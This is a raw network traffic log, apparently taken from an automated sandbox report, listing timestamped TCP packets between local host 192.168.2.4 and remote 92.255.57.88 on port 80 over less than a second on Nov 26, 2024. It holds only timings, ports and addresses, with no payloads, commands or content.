Nov 26, 2024 00:07:46.284286022 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.284333944 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.284418106 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.284461975 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.285145044 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.285196066 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.285232067 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.285281897 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.285959959 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.286005974 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.286046028 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.286093950 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.286689043 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.286735058 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.286808014 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.286849022 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.287522078 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.287578106 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.287616014 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.287643909 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.288309097 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.288355112 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.288423061 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.288465023 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.289129972 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.289174080 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.289268970 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.289319992 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.290093899 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.290105104 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.290148973 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.290744066 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.290791035 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.290862083 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.290903091 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.291578054 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.291636944 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.291662931 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.291697025 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.292320013 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.292363882 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.460741043 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.460760117 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.460879087 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.460938931 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.461045027 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.461091042 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.461121082 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.461754084 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.461807013 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.461877108 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.461924076 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.462598085 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.462645054 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.462954998 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.463005066 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.463351965 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.463397980 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.463464975 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.463510990 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.464224100 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.464271069 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.464308023 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.464350939 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.464970112 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.465020895 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.465076923 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.465122938 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.465779066 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.465828896 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.465862036 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.465904951 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.466609001 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.466660023 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.466695070 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.466734886 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.467401028 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.467447996 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.467494011 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.467538118 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.468214989 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.468262911 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.468341112 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.468386889 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.469027042 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.469075918 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.469259024 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.469305992 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.469849110 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.469894886 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.469924927 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.469968081 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.470607996 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.470654964 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.470818043 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.470880985 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.471426964 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.471474886 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.471478939 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.471518040 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.472238064 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.472285986 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.472352982 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.472398043 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.473036051 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.473083973 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.473140001 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.473185062 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.473850012 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.473897934 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.474004984 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.474050999 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.474662066 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.474710941 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.474725962 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.474765062 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.475446939 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.475493908 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.475558996 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.475605965 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.476310968 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.476360083 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.476360083 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.476403952 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.477075100 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.477125883 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.477427959 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.477475882 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.477874994 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.477920055 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.477993011 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.478038073 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.478698015 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.478743076 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.478833914 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.478878975 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.479482889 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.479530096 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.479610920 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.479655981 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.480303049 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.480350971 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.480387926 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.480431080 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.481092930 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.481158018 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.481203079 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.481249094 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.481925011 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.481971979 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.481990099 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.482034922 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.482764006 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.482811928 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.482848883 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.482891083 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.483535051 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.483582973 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.483614922 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.483659029 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.484338999 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.484389067 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.484451056 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.484494925 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.485135078 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.485183001 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.485220909 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.485261917 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.485960960 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.486011028 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.486072063 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.486118078 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.486790895 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.486843109 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.486890078 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.486933947 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.487575054 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.487626076 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.487860918 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.487906933 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.488372087 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.488420963 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.488488913 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.488533974 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.489168882 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.489216089 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.489267111 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.489306927 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.489973068 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.490021944 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.490106106 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.490151882 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.490776062 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.490823030 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.490854979 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.490894079 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.491595984 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.491662025 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.491857052 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.491902113 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.492412090 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.492459059 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.492530107 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.492575884 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.493207932 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.493252039 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.493257999 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.493292093 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.494005919 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.494052887 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.494122982 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.494167089 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.494854927 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.494904041 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.494904995 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.494947910 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.495754004 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.495804071 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.495806932 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.495846987 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.496426105 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.496471882 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.496537924 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.496583939 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.497226954 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.497278929 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.497345924 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.497387886 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.498039961 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.498080969 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.498426914 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.498477936 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.498944998 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.498996019 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.498996019 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.499037981 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.499689102 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.499742031 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.499799013 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.499850035 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.500499964 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.500551939 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.500605106 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.500653028 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.501295090 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.501348972 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.501389980 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.501437902 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.502108097 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.502168894 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.502178907 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.502212048 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.502897024 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.502959967 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.671107054 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.671240091 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.671341896 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.671428919 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.671475887 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.671487093 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.671524048 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.672224045 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.672276020 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.672326088 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.672373056 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.673053980 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.673103094 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.673137903 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.673191071 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.673840046 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.673887968 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.673948050 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.673994064 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.674671888 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.674721956 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.674774885 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.674820900 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.675501108 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.675548077 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.675573111 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.675616026 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.676285028 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.676332951 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.676388025 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.676429987 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.677067995 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.677115917 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.677151918 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.677197933 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.677872896 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.677920103 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.677936077 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.677978039 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.678680897 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.678730965 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.678747892 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.678791046 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.679476976 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.679529905 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.679569006 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.679610968 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.680286884 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.680335999 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.680391073 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.680433989 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.681087017 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.681133986 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.681188107 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.681235075 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.681910038 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.681957006 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.682074070 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.682118893 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.682712078 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.682759047 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.682796955 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.682845116 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.683527946 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.683576107 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.683619022 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.683664083 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.684326887 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.684374094 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.684425116 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.684468985 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.685111046 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.685158968 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.685223103 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.685285091 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.685940981 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.685986996 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.686127901 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.686173916 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.686758041 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.686805964 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.686860085 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.686904907 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.687537909 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.687585115 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.687633991 CET	80	49753	92.255.57.88	192.168.2.4
